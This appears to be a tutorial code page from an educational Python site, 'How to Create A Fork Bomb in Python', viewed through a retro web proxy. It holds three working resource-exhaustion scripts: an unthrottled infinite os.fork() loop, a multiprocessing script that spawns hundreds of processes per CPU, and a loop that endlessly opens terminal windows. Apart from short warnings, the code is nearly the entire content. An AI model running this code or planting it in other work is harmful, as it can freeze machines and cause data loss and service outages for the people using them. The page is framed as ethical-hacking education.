GV

GeezerVison

The World Wide Web, restored to 800 pixels of glory.

Home|About|Gaming cabinet|Archives|How it works|Starter sites

On this site

  • The Python Code
  • Tutorials
  • Ethical Hacking
  • Machine Learning
  • General Python Tutorials
  • Web Scraping
  • Finance
  • Computer Vision
  • Python Standard Library
  • Application Programming Interfaces
  • Database
  • Game Development
  • Web Programming
  • Digital Forensics

This view

  • Original page
  • New address

GeezerVison is showing thepythoncode.com — Code for How to Create A Fork Bomb in Python - Python Code


Code for How to Create A Fork Bomb in Python


View on Github

fork_bomb_simplest.py

"""Simplest form of a fork bomb. It creates a new process in an infinite loop using os.fork().
It only works on Unix-based systems, and it will consume all system resources, potentially freezing the system.
Be careful when running this code."""
import os
# import time

while True:
    os.fork()
    # time.sleep(0.5)

fork_bomb.py

"""Using `multiprocessing` module to spawn processes as a cross-platform fork bomb."""
# Import necessary modules.
from multiprocessing import Process, cpu_count
import time

# Define a function named counter that takes a number parameter.
def counter(number):
    # Run a loop until number reaches 0.
    while number > 0:
        number -= 1
        # Introduce a sleep of 100 ms to intentionally slow down the loop.
        time.sleep(0.1)  # Adjust sleep time as needed to make it slower.


def spawn_processes(num_processes):
    # Create a list of Process instances, each targeting the counter function.
    processes = [Process(target=counter, args=(1000,)) for _ in range(num_processes)]
    # Start each process.
    for process in processes:
        process.start()
        print(f"Started process {process.pid}.")
    # Wait for each process to finish before moving on.
    for process in processes:
        process.join()
        print(f"Process {process.pid} has finished.")

# Define the main function.
def main():
    # Get the number of logical processors on the system.
    num_processors = cpu_count()
    # Create a large number of processes (num_processors * 200).
    num_processes = num_processors * 200 # Adjust the number of processes to spawn as needed.
    print(f"Number of logical processors: {num_processors}")
    print(f"Creating {num_processes} processes.")
    print("Warning: This will consume a lot of system resources, and potentially freeze your PC, make sure to adjust the number of processes and sleep seconds as needed.")
    # Run an infinite loop if you want.
    # while True:
    #     spawn_processes(num_processes)
    # For demonstration purposes, run the function once and monitor the task manager.
    spawn_processes(num_processes)


# Execute the main function.
if __name__ == "__main__":
    main()

terminal_spawn_bomb.py

"""A terminal spawn bomb that infinitely opens a new terminal window on the host system.
Be careful when running this script, as it overwhelms the system with terminal windows.
The time.sleep() is introduced to test the script."""
import os
import subprocess
import time

# List of common terminal emulators
terminal_emulators = [
    "gnome-terminal",  # GNOME
    "konsole",         # KDE
    "xfce4-terminal",  # XFCE
    "lxterminal",      # LXDE
    "mate-terminal",   # MATE
    "terminator",
    "xterm",
    "urxvt"
]

def open_terminal():
    for emulator in terminal_emulators:
        try:
            if subprocess.call(["which", emulator], stdout=subprocess.DEVNULL) == 0:
                os.system(f"{emulator} &")
                return True
        except Exception as e:
            continue
    print("No known terminal emulator found!")
    return False

while True:
    if os.name == "nt":
        os.system("start cmd")
    else:
        if not open_terminal():
            break  # Break the loop if no terminal emulator is found
    # Introduce a sleep of 500 ms to intentionally slow down the loop so you can stop the script.
    time.sleep(0.5)  # Adjust sleep time as needed to make it slower.
Mastering YOLO - Yacine Author - Top

Get our free Python guides

Join 50,000+ Python programmers and enthusiasts like you!

Topics
Ethical Hacking Machine Learning General Python Tutorials Web Scraping Finance Computer Vision Python Standard Library Application Programming Interfaces Database Game Development Web Programming Digital Forensics Natural Language Processing Healthcare PDF File Handling Python for Multimedia GUI Programming Cryptography Packet Manipulation Using Scapy
Practical Python PDF Processing EBook - Contact Us - Middle
New tutorials View all
  • How AI Text Detection Works: The Technology Behind Modern AI Detectors
  • Beyond Guesswork: How Python Helps Identify AI-Generated Text
  • Discover the Possibilities of Python Programming
  • How to Track Your AI Visibility with Python
  • How to Automate Excel Reports in Python using Openpyxl
Popular tutorials View all
  • How to Convert Speech to Text in Python
  • How to Read Emails in Python
  • How to Extract Tables from PDF in Python
  • How to Control your Mouse in Python
  • How to Make a Keylogger in Python
Ethical Hacking with Python EBook - About - Bottom
You are visitor 01402503 — GeezerVison does not store the pages you look up.
Best viewed with Netscape Navigator 4.7 or Internet Explorer 6 at 800×600. No cookies required.